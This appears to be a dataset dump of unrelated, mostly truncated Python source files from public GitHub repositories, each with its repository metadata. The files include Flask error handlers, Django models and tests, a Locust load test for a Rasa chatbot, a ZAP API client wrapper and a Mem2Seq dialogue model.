abc3eecfb1dec304561dc28f93ae2435fd288309 | 379 | py | Python | automatization_of_data_mining_project/data_set_statistic_reporter/classes/statistic_generator/statistic_generator.py | Sale1996/automatization_of_data_mining_project | 223aec59231586563a3b125bff064f8420630a8f | [
"MIT"
] | null | null | null | automatization_of_data_mining_project/data_set_statistic_reporter/classes/statistic_generator/statistic_generator.py | Sale1996/automatization_of_data_mining_project | 223aec59231586563a3b125bff064f8420630a8f | [
"MIT"
] | null | null | null | automatization_of_data_mining_project/data_set_statistic_reporter/classes/statistic_generator/statistic_generator.py | Sale1996/automatization_of_data_mining_project | 223aec59231586563a3b125bff064f8420630a8f | [
"MIT"
] | null | null | null | from typing import List
class StatisticGenerator(object):
def __init__(self, column_names):
self.column_names = column_names
'''
Function which returns two arrays:
1. Statistic column names
2. Statistic column values for each column name
'''
def generate_statis... | 27.071429 | 69 | 0.643799 | 353 | 0.931398 | 0 | 0 | 0 | 0 | 0 | 0 | 152 | 0.401055 |
abc47a42e5800e9371627fb5c621e40ef15d6a3b | 741 | py | Python | app/errors/handlers.py | kai-jinny/Agile-Development-Project | d3879040c3b8a70bf539f3c7db0437da6766c6c4 | [
"MIT"
] | 2 | 2021-04-08T06:50:49.000Z | 2021-04-17T12:52:45.000Z | app/errors/handlers.py | kai-jinny/Agile-Development-Project | d3879040c3b8a70bf539f3c7db0437da6766c6c4 | [
"MIT"
] | 16 | 2021-04-12T08:21:49.000Z | 2021-05-18T07:21:38.000Z | app/errors/handlers.py | kai-jinny/Agile-Development-Project | d3879040c3b8a70bf539f3c7db0437da6766c6c4 | [
"MIT"
] | 1 | 2021-04-17T12:54:34.000Z | 2021-04-17T12:54:34.000Z |
from flask import render_template
from app import db
from app.errors import bp
@bp.app_errorhandler(400)
def not_found_error(error):
return render_template('errors/400.html'), 400
@bp.app_errorhandler(401)
def not_found_error(error):
return render_template('errors/401.html'), 401
@bp.app_errorhandler(403)
... | 24.7 | 50 | 0.766532 | 0 | 0 | 0 | 0 | 649 | 0.875843 | 0 | 0 | 102 | 0.137652 |
abc5a6e1c8eb95e21a2424169d41cb33a6c8f98e | 1,199 | py | Python | rasa-rest-explode-brain.py | nprovotorov/rasa-rest-api-loadtest | 31ee3308d9b11ff98e56172801943c3016c5bf93 | [
"MIT"
] | 6 | 2021-01-05T02:53:23.000Z | 2022-02-17T07:53:36.000Z | rasa-rest-explode-brain.py | nprovotorov/rasa-rest-api-loadtest | 31ee3308d9b11ff98e56172801943c3016c5bf93 | [
"MIT"
] | null | null | null | rasa-rest-explode-brain.py | nprovotorov/rasa-rest-api-loadtest | 31ee3308d9b11ff98e56172801943c3016c5bf93 | [
"MIT"
] | 1 | 2021-01-26T01:08:57.000Z | 2021-01-26T01:08:57.000Z | import random
import uuid
from locust import HttpUser, task, between
apiUrl = "/webhooks/rest/webhook" # Rasa Core REST API endpoint
# apiUrl = "/core/webhooks/rest/webhook" # Rasa X REST API endpoint
class RasaRestExplodeBrainUser(HttpUser):
wait_time = between(3, 10)
def on_start(self):
self.nam... | 29.975 | 67 | 0.633862 | 992 | 0.827356 | 0 | 0 | 672 | 0.560467 | 0 | 0 | 208 | 0.173478 |
abc616e2534ce71688707838c39b33ab9fe3a9aa | 869 | py | Python | yepes/contrib/standards/models.py | samuelmaudo/yepes | 1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb | [
"BSD-3-Clause"
] | null | null | null | yepes/contrib/standards/models.py | samuelmaudo/yepes | 1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb | [
"BSD-3-Clause"
] | null | null | null | yepes/contrib/standards/models.py | samuelmaudo/yepes | 1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb | [
"BSD-3-Clause"
] | null | null | null | # -*- coding:utf-8 -*-
from yepes.apps import apps
AbstractCountry = apps.get_class('standards.abstract_models', 'AbstractCountry')
AbstractCountrySubdivision = apps.get_class('standards.abstract_models', 'AbstractCountrySubdivision')
AbstractCurrency = apps.get_class('standards.abstract_models', 'AbstractCurrency')
... | 28.032258 | 102 | 0.802071 | 278 | 0.319908 | 0 | 0 | 0 | 0 | 0 | 0 | 305 | 0.350978 |
abca83db476237da93239ae54ed493e9e869002d | 48 | py | Python | randomForestRules/__init__.py | lukassykora/randomForestRules | 9da3b510a488a2453f48c220bbc289854917a86a | [
"MIT"
] | 3 | 2020-01-08T14:49:47.000Z | 2021-07-24T17:53:32.000Z | randomForestRules/__init__.py | lukassykora/randomForestRules | 9da3b510a488a2453f48c220bbc289854917a86a | [
"MIT"
] | 2 | 2020-11-01T17:00:22.000Z | 2021-08-22T17:13:06.000Z | randomForestRules/__init__.py | lukassykora/randomForestRules | 9da3b510a488a2453f48c220bbc289854917a86a | [
"MIT"
] | 4 | 2020-01-08T14:49:49.000Z | 2021-07-24T17:53:38.000Z | from .randomForestRules import RandomForestRules | 48 | 48 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
abcb48c4f2cf0da6f255272f48b3091be08733b7 | 2,545 | py | Python | celery_project/daily_quote/quotes.py | engineervix/django-celery-sample | 9bb92a129bdd66d6c2259a41c690436c5c8316dc | [
"BSD-3-Clause"
] | null | null | null | celery_project/daily_quote/quotes.py | engineervix/django-celery-sample | 9bb92a129bdd66d6c2259a41c690436c5c8316dc | [
"BSD-3-Clause"
] | 194 | 2021-03-01T01:08:33.000Z | 2021-12-07T22:55:41.000Z | celery_project/daily_quote/quotes.py | engineervix/django-celery-sample | 9bb92a129bdd66d6c2259a41c690436c5c8316dc | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
"""quotery.py
This script is part of a daily celery task to fetch a quote
from a JSON file and save it to the database.
There should only be one quote at a time in the database.
On the template, we simply retrieve the quote and
display it on the website as "Quote of the Day".
The idea is to ... | 26.510417 | 72 | 0.666012 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,213 | 0.476621 |
abcccf0a171f8f65a41202cdaec0c176a6cff770 | 7,718 | py | Python | backend/flask_app/server.py | aPorousRock/Angular2Flask | bac2fd68207bcfa6c33b85abddac8737375d407d | [
"MIT"
] | null | null | null | backend/flask_app/server.py | aPorousRock/Angular2Flask | bac2fd68207bcfa6c33b85abddac8737375d407d | [
"MIT"
] | null | null | null | backend/flask_app/server.py | aPorousRock/Angular2Flask | bac2fd68207bcfa6c33b85abddac8737375d407d | [
"MIT"
] | null | null | null | # !/usr/bin/env python
# -*- coding: utf-8 -*-
"""Entry point for the server application."""
import json
import logging
import traceback
from datetime import datetime
from flask import Response, request, jsonify, current_app
from gevent.wsgi import WSGIServer
from flask_jwt_simple import (
JWTManager, jwt_required... | 31.246964 | 123 | 0.651075 | 0 | 0 | 0 | 0 | 4,898 | 0.63462 | 0 | 0 | 1,714 | 0.222078 |
abcd4a48420badb64f86a53b7b28f0e7b524fd7f | 1,409 | py | Python | bumblebee/users/tests.py | sthasam2/bumblebee-backend | 22057399f34cdc1edb0ef04e622c97df46532de3 | [
"Linux-OpenIB"
] | null | null | null | bumblebee/users/tests.py | sthasam2/bumblebee-backend | 22057399f34cdc1edb0ef04e622c97df46532de3 | [
"Linux-OpenIB"
] | null | null | null | bumblebee/users/tests.py | sthasam2/bumblebee-backend | 22057399f34cdc1edb0ef04e622c97df46532de3 | [
"Linux-OpenIB"
] | null | null | null | import random
import string
from django.test import TestCase
from bumblebee.users.models import CustomUser
class UserProfileTest(TestCase):
def random_string(self):
return "".join(random.choice(string.ascii_lowercase) for i in range(10))
def test_user_has_profile(self):
user = CustomUser(
... | 29.354167 | 80 | 0.620298 | 1,294 | 0.918382 | 0 | 0 | 0 | 0 | 0 | 0 | 252 | 0.17885 |
abce73ab5ea7484cda032b4a04d06bfbe7876a23 | 16,481 | py | Python | pyfarm/agent/http/api/assign.py | guidow/pyfarm-agent | bb5d464f9f6549a3db3529a93e3d9f388b365586 | [
"Apache-2.0"
] | null | null | null | pyfarm/agent/http/api/assign.py | guidow/pyfarm-agent | bb5d464f9f6549a3db3529a93e3d9f388b365586 | [
"Apache-2.0"
] | null | null | null | pyfarm/agent/http/api/assign.py | guidow/pyfarm-agent | bb5d464f9f6549a3db3529a93e3d9f388b365586 | [
"Apache-2.0"
] | null | null | null | # No shebang line, this module is meant to be imported
#
# Copyright 2014 Oliver Palmer
# Copyright 2014 Ambient Entertainment GmbH & Co. KG
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
... | 44.663957 | 81 | 0.564225 | 14,739 | 0.894303 | 0 | 0 | 0 | 0 | 0 | 0 | 4,845 | 0.293975 |
abcf74d3543dcbf2c7fa1eff397453f8e4095e08 | 3,044 | py | Python | python/api/src/zapv2/auth.py | psiinon/zaproxy-release | 5462b14fb337a2d4f68595a207aa3367ec71a671 | [
"ECL-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | 1 | 2017-07-26T18:03:44.000Z | 2017-07-26T18:03:44.000Z | python/api/src/zapv2/auth.py | gcxtx/zappy | 3d215327addd6f2ea4ca7091a42c330c67fc30ef | [
"ECL-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | 2 | 2016-02-25T10:06:53.000Z | 2016-03-29T07:49:34.000Z | python/api/src/zapv2/auth.py | gcxtx/zappy | 3d215327addd6f2ea4ca7091a42c330c67fc30ef | [
"ECL-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | 1 | 2021-08-17T05:48:59.000Z | 2021-08-17T05:48:59.000Z | # Zed Attack Proxy (ZAP) and its related class files.
#
# ZAP is an HTTP/HTTPS proxy for assessing web application security.
#
# Copyright 2013 ZAP development team
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a c... | 42.277778 | 140 | 0.703022 | 2,284 | 0.750329 | 0 | 0 | 277 | 0.090999 | 0 | 0 | 1,321 | 0.433968 |
abcf771bb1eef36b8475fbd6b6801cc8c8d640fe | 1,387 | py | Python | examples/multi_agent.py | spMohanty/marlo | 6ca3dc449fba58413b1797b28bb3e2374d62751f | [
"MIT"
] | 214 | 2018-07-26T13:48:36.000Z | 2022-03-25T11:34:53.000Z | examples/multi_agent.py | spMohanty/marlo | 6ca3dc449fba58413b1797b28bb3e2374d62751f | [
"MIT"
] | 47 | 2018-08-01T16:03:07.000Z | 2022-02-12T12:46:09.000Z | examples/multi_agent.py | spMohanty/marLo | 6ca3dc449fba58413b1797b28bb3e2374d62751f | [
"MIT"
] | 48 | 2018-07-27T15:49:01.000Z | 2021-07-18T13:55:56.000Z | #!/usr/bin/env python
# Please ensure that you have two Minecraft clients running on port 10000 and
# port 10001 by doing :
# $MALMO_MINECRAFT_ROOT/launchClient.sh -port 10000
# $MALMO_MINECRAFT_ROOT/launchClient.sh -port 10001
import marlo
client_pool = [('127.0.0.1', 10000),('127.0.0.1', 10001)]
join_tokens = marl... | 30.152174 | 78 | 0.579668 | 0 | 0 | 0 | 0 | 358 | 0.258111 | 0 | 0 | 509 | 0.366979 |
abd0e54c20c46104555050953447f088dffd69a5 | 1,349 | py | Python | hal/libraries/convert.py | virtualanup/hal | c45757ee2d0661b6f1a5141fc67ebe94cf3ab673 | [
"MIT"
] | 3 | 2017-02-14T01:00:39.000Z | 2017-06-11T09:51:20.000Z | hal/libraries/convert.py | virtualanup/hal | c45757ee2d0661b6f1a5141fc67ebe94cf3ab673 | [
"MIT"
] | null | null | null | hal/libraries/convert.py | virtualanup/hal | c45757ee2d0661b6f1a5141fc67ebe94cf3ab673 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import re
import random
from semantic3.units import ConversionService
from hal.library import HalLibrary
class ConvLib(HalLibrary):
"""
Conversion library
"""
name = "Converter"
keywords = ["convert", "converter", "conversion"]
convregex = re.compile(
"(con... | 25.942308 | 101 | 0.530022 | 1,214 | 0.899926 | 0 | 0 | 400 | 0.296516 | 0 | 0 | 378 | 0.280208 |
abd45386c13bbf86460d0c5870b53d4590ef63ba | 933 | py | Python | clients/client/python/test/test_volume.py | simoneromano96/sdk | a6113d0daefbbb803790297e4b242d4c7cbbcb22 | [
"Apache-2.0"
] | null | null | null | clients/client/python/test/test_volume.py | simoneromano96/sdk | a6113d0daefbbb803790297e4b242d4c7cbbcb22 | [
"Apache-2.0"
] | null | null | null | clients/client/python/test/test_volume.py | simoneromano96/sdk | a6113d0daefbbb803790297e4b242d4c7cbbcb22 | [
"Apache-2.0"
] | null | null | null | """
Ory APIs
Documentation for all public and administrative Ory APIs. Administrative APIs can only be accessed with a valid Personal Access Token. Public APIs are mostly used in browsers. # noqa: E501
The version of the OpenAPI document: v0.0.1-alpha.3
Contact: support@ory.sh
Generated by: http... | 23.923077 | 194 | 0.697749 | 329 | 0.352626 | 0 | 0 | 0 | 0 | 0 | 0 | 525 | 0.562701 |
abd6eef90ad96992e821c7e62a12d3098278c5bf | 1,191 | py | Python | pyraminxolver/setup.py | Odder/PyraminXolver | f497a3936e63a51bb9de4d445db0a1399ae4b85c | [
"MIT"
] | 1 | 2020-02-16T11:11:35.000Z | 2020-02-16T11:11:35.000Z | pyraminxolver/setup.py | Odder/PyraminXolver | f497a3936e63a51bb9de4d445db0a1399ae4b85c | [
"MIT"
] | 1 | 2019-10-06T07:19:56.000Z | 2019-10-26T20:39:19.000Z | pyraminxolver/setup.py | Odder/PyraminXolver | f497a3936e63a51bb9de4d445db0a1399ae4b85c | [
"MIT"
] | 1 | 2019-11-22T15:53:29.000Z | 2019-11-22T15:53:29.000Z | from collections import deque
import pickle
from . import Pyraminx, PYRAMINX_CASE_PATH
from multiprocessing import Pool, cpu_count
def setup():
graph = create_graph()
with open(PYRAMINX_CASE_PATH, 'wb') as f:
pickle.dump(graph, f, pickle.HIGHEST_PROTOCOL)
def create_graph():
with Pool(cpu_count... | 24.8125 | 63 | 0.618808 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 14 | 0.011755 |
abd7ebb6a3efed0c59a0bf6d4b58df0c2f293555 | 307 | py | Python | Models/utils.py | Pipe-Runner-Lab/cornell_birdcall_identification | 79a807c4a7e368b2ffcb7ecc91176c2bc03f650a | [
"MIT"
] | null | null | null | Models/utils.py | Pipe-Runner-Lab/cornell_birdcall_identification | 79a807c4a7e368b2ffcb7ecc91176c2bc03f650a | [
"MIT"
] | 7 | 2021-08-23T20:52:07.000Z | 2022-03-12T00:48:51.000Z | Models/utils.py | Pipe-Runner-Lab/cornell_birdcall_identification | 79a807c4a7e368b2ffcb7ecc91176c2bc03f650a | [
"MIT"
] | null | null | null | from torch import nn
def get_default_fc(num_ftrs,adjusted_classes, params):
return nn.Sequential(
nn.Linear(num_ftrs, 1024),nn.ReLU(),nn.Dropout(p=params.fc_drop_out_0),
nn.Linear(1024, 1024),nn.ReLU(),nn.Dropout(p=params.fc_drop_out_1),
nn.Linear(1024, adjusted_classes)
)
| 34.111111 | 79 | 0.703583 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
abd8b52c7e5526a7a50e3b7112ad423f0a22076f | 4,452 | py | Python | dgp/features/feature_ontology.py | chrisochoatri/dgp | 7eb437072b656804a8716186cc61f6ba148e3a46 | [
"MIT"
] | null | null | null | dgp/features/feature_ontology.py | chrisochoatri/dgp | 7eb437072b656804a8716186cc61f6ba148e3a46 | [
"MIT"
] | null | null | null | dgp/features/feature_ontology.py | chrisochoatri/dgp | 7eb437072b656804a8716186cc61f6ba148e3a46 | [
"MIT"
] | null | null | null | # Copyright 2021-2022 Toyota Research Institute. All rights reserved.
import os
from collections import OrderedDict
from dgp.proto.ontology_pb2 import FeatureOntology as FeatureOntologyPb2
from dgp.proto.ontology_pb2 import FeatureOntologyItem
from dgp.utils.protobuf import (generate_uid_from_pbobject, open_feature_o... | 32.49635 | 120 | 0.659704 | 4,085 | 0.917565 | 0 | 0 | 1,157 | 0.259883 | 0 | 0 | 1,489 | 0.334456 |
abdc66f427d245a23a8cd8f7219011f041e2e90d | 2,321 | py | Python | APIFunctions/replace_resources.py | cul/archivesspace | 9c088d4495cf1006c7d02ed2850224a9d28b35c1 | [
"MIT"
] | 4 | 2018-12-13T16:18:30.000Z | 2020-02-14T14:01:28.000Z | APIFunctions/replace_resources.py | cul/archivesspace | 9c088d4495cf1006c7d02ed2850224a9d28b35c1 | [
"MIT"
] | null | null | null | APIFunctions/replace_resources.py | cul/archivesspace | 9c088d4495cf1006c7d02ed2850224a9d28b35c1 | [
"MIT"
] | 2 | 2019-09-03T19:15:24.000Z | 2020-12-01T20:27:14.000Z | # Script to replace text in a designated field in a resource and post the resource back to API.
# Requirements:
# - ASFunctions.py
# - A csv of format repo,asid
# - sheetFeeder (optional, for reporting purposes)
import ASFunctions as asf
import json
from pprint import pprint
import re
import csv
from sheetFeeder impor... | 22.980198 | 129 | 0.637225 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 882 | 0.380009 |
abde163a27adea2e134a7e338567ffa9749d3d5e | 1,139 | py | Python | db25_hole_plate/cnc/boundary.py | iorodeo/panels_mpja_1u | 6d3a44150b41d25457041b9246be11b1778112bc | [
"Apache-2.0"
] | 1 | 2020-07-23T19:04:06.000Z | 2020-07-23T19:04:06.000Z | db25_hole_plate/cnc/boundary.py | iorodeo/panels_mpja_1u | 6d3a44150b41d25457041b9246be11b1778112bc | [
"Apache-2.0"
] | null | null | null | db25_hole_plate/cnc/boundary.py | iorodeo/panels_mpja_1u | 6d3a44150b41d25457041b9246be11b1778112bc | [
"Apache-2.0"
] | null | null | null | from __future__ import print_function
import os
import sys
from py2gcode import gcode_cmd
from py2gcode import cnc_dxf
fileName = sys.argv[1]
feedrate = 120.0
prog = gcode_cmd.GCodeProg()
prog.add(gcode_cmd.GenericStart())
prog.add(gcode_cmd.Space())
prog.add(gcode_cmd.FeedRate(feedrate))
prog.add(gcode_cmd.PathBl... | 25.311111 | 48 | 0.624232 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 188 | 0.165057 |
abde3c4b3322bc497127bee1536c6ca6039746ca | 852 | py | Python | packages/sia/datetime.py | varunsrivatsa/Sia | c5fc99f357138cfbcf050277f1aa201048cd26f4 | [
"MIT"
] | 3 | 2022-01-28T17:51:05.000Z | 2022-03-25T14:57:52.000Z | packages/sia/datetime.py | varunsrivatsa/Sia | c5fc99f357138cfbcf050277f1aa201048cd26f4 | [
"MIT"
] | 19 | 2022-01-16T08:23:52.000Z | 2022-03-18T22:27:02.000Z | packages/sia/datetime.py | varunsrivatsa/Sia | c5fc99f357138cfbcf050277f1aa201048cd26f4 | [
"MIT"
] | 1 | 2022-03-09T06:23:42.000Z | 2022-03-09T06:23:42.000Z | #!/usr/bin/env python
# -*- coding:utf-8 -*-
import utils
from datetime import datetime
import calendar
def run(string, entities):
"""Sia tells time and date"""
string = string.lower()
now = datetime.now()
day = datetime.today()
if string.find("time") != -1 and string.find("date") == -1:
... | 37.043478 | 116 | 0.593897 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 266 | 0.312207 |
abdf820c98b1659e30fa822be8c125f87ed89cc6 | 1,477 | py | Python | python/rl_agent/model.py | iShohei220/Grounded-Language-Learning-in-Pytorch | 75859829258dd33d4a75f79dc9348a1671a68b81 | [
"CC-BY-4.0"
] | null | null | null | python/rl_agent/model.py | iShohei220/Grounded-Language-Learning-in-Pytorch | 75859829258dd33d4a75f79dc9348a1671a68b81 | [
"CC-BY-4.0"
] | null | null | null | python/rl_agent/model.py | iShohei220/Grounded-Language-Learning-in-Pytorch | 75859829258dd33d4a75f79dc9348a1671a68b81 | [
"CC-BY-4.0"
] | 1 | 2021-01-16T19:53:55.000Z | 2021-01-16T19:53:55.000Z | import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
import torch.optim as optim
import numpy as np
from collections import namedtuple
from network_modules import *
State = namedtuple('State', ('visual', 'instruction'))
class Model(nn.Module):
def __init__(self, ... | 31.425532 | 94 | 0.641842 | 1,204 | 0.815166 | 0 | 0 | 0 | 0 | 0 | 0 | 277 | 0.187542 |
abe247f69531769f09c500de2ab3ea0c0fe0c0ac | 6,939 | py | Python | rr/tests/api/test_views_api_certificate.py | UniversityofHelsinki/sp-registry | b1336b89788c076bf93f61b97b5469a99acd902c | [
"MIT"
] | null | null | null | rr/tests/api/test_views_api_certificate.py | UniversityofHelsinki/sp-registry | b1336b89788c076bf93f61b97b5469a99acd902c | [
"MIT"
] | 1 | 2020-08-10T13:16:58.000Z | 2020-08-18T06:30:20.000Z | rr/tests/api/test_views_api_certificate.py | UniversityofHelsinki/sp-registry | b1336b89788c076bf93f61b97b5469a99acd902c | [
"MIT"
] | null | null | null | from django.contrib.auth.models import User
from rest_framework import status
from rest_framework.test import APIRequestFactory
from rr.models.certificate import Certificate
from rr.models.serviceprovider import ServiceProvider
from rr.tests.api.api_common import APITestCase
from rr.views_api.certificate import Certif... | 55.071429 | 114 | 0.724024 | 6,603 | 0.951578 | 0 | 0 | 0 | 0 | 0 | 0 | 1,995 | 0.287505 |
abe24ac8d4f36a5234b583961dedd7e2bc567ce6 | 2,298 | py | Python | convlab/modules/e2e/multiwoz/Mem2Seq/Mem2Seq.py | ngduyanhece/ConvLab | a04582a77537c1a706fbf64715baa9ad0be1301a | [
"MIT"
] | 405 | 2019-06-17T05:38:47.000Z | 2022-03-29T15:16:51.000Z | convlab/modules/e2e/multiwoz/Mem2Seq/Mem2Seq.py | ngduyanhece/ConvLab | a04582a77537c1a706fbf64715baa9ad0be1301a | [
"MIT"
] | 69 | 2019-06-20T22:57:41.000Z | 2022-03-04T12:12:07.000Z | convlab/modules/e2e/multiwoz/Mem2Seq/Mem2Seq.py | ngduyanhece/ConvLab | a04582a77537c1a706fbf64715baa9ad0be1301a | [
"MIT"
] | 124 | 2019-06-17T05:11:23.000Z | 2021-12-31T05:58:18.000Z | # -*- coding: utf-8 -*-
# Modified by Microsoft Corporation.
# Licensed under the MIT license.
"""
"""
import numpy as np
import torch
from nltk import word_tokenize
from .models.Mem2Seq import Mem2Seq
from .utils.config import args, USE_CUDA, UNK_token
from .utils.utils_woz_mem2seq import prepare_data_seq, generate... | 33.304348 | 130 | 0.597476 | 1,404 | 0.610966 | 0 | 0 | 0 | 0 | 0 | 0 | 298 | 0.129678 |
abe3cbe49477fe37d4fc16249de8a10f4fb4a013 | 18 | py | Python | mit_semseg/lib/utils/__init__.py | starkgines/PDI | dd6908c022179f935ae25d3afee9ea44bb49f162 | [
"BSD-3-Clause"
] | 4,303 | 2018-04-08T00:48:44.000Z | 2022-03-31T12:54:08.000Z | mit_semseg/lib/utils/__init__.py | starkgines/PDI | dd6908c022179f935ae25d3afee9ea44bb49f162 | [
"BSD-3-Clause"
] | 212 | 2018-04-08T16:02:59.000Z | 2022-03-16T14:52:44.000Z | mit_semseg/lib/utils/__init__.py | starkgines/PDI | dd6908c022179f935ae25d3afee9ea44bb49f162 | [
"BSD-3-Clause"
] | 1,057 | 2018-04-08T03:29:26.000Z | 2022-03-30T17:36:12.000Z | from .th import *
| 9 | 17 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
abe581f27ace8a8b0cd1d152b02ba112d26b24bc | 21,754 | py | Python | wwwhisper_admin/tests/tests_views.py | wrr/wwwhisper | 38a55dd9c828fbb1b5a8234ea3ddf2242e684983 | [
"MIT"
] | 54 | 2015-01-19T23:49:39.000Z | 2021-02-18T01:14:51.000Z | wwwhisper_admin/tests/tests_views.py | wrr/wwwhisper | 38a55dd9c828fbb1b5a8234ea3ddf2242e684983 | [
"MIT"
] | 13 | 2015-01-26T14:51:10.000Z | 2020-11-10T04:15:36.000Z | wwwhisper_admin/tests/tests_views.py | wrr/wwwhisper | 38a55dd9c828fbb1b5a8234ea3ddf2242e684983 | [
"MIT"
] | 11 | 2015-07-25T02:13:12.000Z | 2021-07-10T14:11:46.000Z | # wwwhisper - web access control.
# Copyright (C) 2012-2018 Jan Wrobel <jan@mixedbit.org>
from wwwhisper_auth.models import Site
from wwwhisper_auth.tests.utils import HttpTestCase
from wwwhisper_auth.tests.utils import TEST_SITE
import json
FAKE_UUID = '41be0192-0fcc-4a9c-935d-69243b75533c'
TEST_USER_EMAIL = 'foo@b... | 44.036437 | 80 | 0.635699 | 21,234 | 0.976096 | 0 | 0 | 0 | 0 | 0 | 0 | 3,678 | 0.169072 |
abe6448fcecf9dc6bfc75f1868f21902baa70a7a | 2,139 | py | Python | text_plistlib/plistlib.py | Artoria2e5/text-plistlib | 5f8c868341bc7e933c8c6e2587dbd75ad0dc93b0 | [
"MIT"
] | null | null | null | text_plistlib/plistlib.py | Artoria2e5/text-plistlib | 5f8c868341bc7e933c8c6e2587dbd75ad0dc93b0 | [
"MIT"
] | null | null | null | text_plistlib/plistlib.py | Artoria2e5/text-plistlib | 5f8c868341bc7e933c8c6e2587dbd75ad0dc93b0 | [
"MIT"
] | null | null | null | """
Wrapper providing a plistlib interface. Better than a patch?
"""
__all__ = [
"InvalidFileException",
"FMT_XML",
"FMT_BINARY",
"FMT_TEXT",
"load",
"dump",
"loads",
"dumps",
"UID",
]
import plistlib as pl
from enum import Enum
from io import BytesIO
from typing i... | 25.771084 | 86 | 0.586255 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 676 | 0.316036 |
abe683c77717a86c75c2669b78ad1d9d8749390b | 3,992 | py | Python | treat/moc/kinf/make_kinf.py | tjlaboss/tasty_treat | 5a137b49c6648eda6500025de8bab9c8dcc78d45 | [
"MIT"
] | 3 | 2019-03-04T22:52:07.000Z | 2022-01-23T12:28:58.000Z | treat/moc/kinf/make_kinf.py | tjlaboss/tasty_treat | 5a137b49c6648eda6500025de8bab9c8dcc78d45 | [
"MIT"
] | 3 | 2021-07-23T17:30:35.000Z | 2021-09-17T16:25:57.000Z | treat/moc/kinf/make_kinf.py | tjlaboss/tasty_treat | 5a137b49c6648eda6500025de8bab9c8dcc78d45 | [
"MIT"
] | null | null | null | # Make kinf
#
# Analyze the fuel materials from different libraries
import numpy as np
import openmc
from openmc import mgxs
import os
import sys; sys.path.append("..")
import materials
import energy_groups
def _get_fuel(library):
try:
fuel = library.get_material("fuel")
except KeyError:
fuel = library.get_mat... | 29.352941 | 75 | 0.717435 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 673 | 0.168587 |
abe704d6ccddf0e4852958c0661a8661be5aca37 | 1,775 | py | Python | Configuration/Skimming/test/tier1_hi/hiHighPt_PromptSkim2011_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | Configuration/Skimming/test/tier1_hi/hiHighPt_PromptSkim2011_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | Configuration/Skimming/test/tier1_hi/hiHighPt_PromptSkim2011_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
process = cms.Process("HIGHPTSKIM")
process.load('Configuration.StandardSequences.Services_cff')
process.load('FWCore.MessageService.MessageLogger_cfi')
process.load('Configuration.EventContent.EventContentHeavyIons_cff')
process.source = cms.Source("PoolSource",
fileNames ... | 41.27907 | 165 | 0.774085 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 650 | 0.366197 |
abe9baf8318a46fc0311d26e659c7ccdb9f8b58b | 162 | py | Python | util/time.py | thorwhalen/ut | 353a4629c35a2cca76ef91a4d5209afe766433b4 | [
"MIT"
] | 4 | 2016-12-17T20:06:10.000Z | 2021-11-19T04:45:29.000Z | util/time.py | thorwhalen/ut | 353a4629c35a2cca76ef91a4d5209afe766433b4 | [
"MIT"
] | 11 | 2021-01-06T05:35:11.000Z | 2022-03-11T23:28:31.000Z | util/time.py | thorwhalen/ut | 353a4629c35a2cca76ef91a4d5209afe766433b4 | [
"MIT"
] | 3 | 2015-06-12T10:44:16.000Z | 2021-07-26T18:39:47.000Z | from warnings import warn
warn('Deprecated: Moved to ut.util.utime (to avoid name conflict with standard lib `time`)')
from ut.util.utime import * # move here
| 27 | 92 | 0.746914 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 97 | 0.598765 |
abea45b584c7c99d2b9324078e8fed24a7f61377 | 369 | py | Python | lepoop/entry/not_configured.py | alvinwan/lepoop | a611a4334941527077b1f772d1ac0ae008daedc0 | [
"MIT"
] | null | null | null | lepoop/entry/not_configured.py | alvinwan/lepoop | a611a4334941527077b1f772d1ac0ae008daedc0 | [
"MIT"
] | null | null | null | lepoop/entry/not_configured.py | alvinwan/lepoop | a611a4334941527077b1f772d1ac0ae008daedc0 | [
"MIT"
] | null | null | null | """Runs when the `poop` alias has not been setup."""
from colorama import init
from ..utils import colored
from .alias import is_configured
from .alias import configure
init()
def main():
if not is_configured():
configure()
print(colored('The `poop` alias was configured successfully.\n'
'... | 21.705882 | 67 | 0.682927 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 148 | 0.401084 |
abed9d35fcc34be316a0a17409f3f6ae90788595 | 443 | py | Python | src/biking/migrations/0002_auto_20170312_1532.py | AlexDevelop/seen-movies | 95d83d3271258feb5c55544de1078f467c569bc5 | [
"MIT"
] | null | null | null | src/biking/migrations/0002_auto_20170312_1532.py | AlexDevelop/seen-movies | 95d83d3271258feb5c55544de1078f467c569bc5 | [
"MIT"
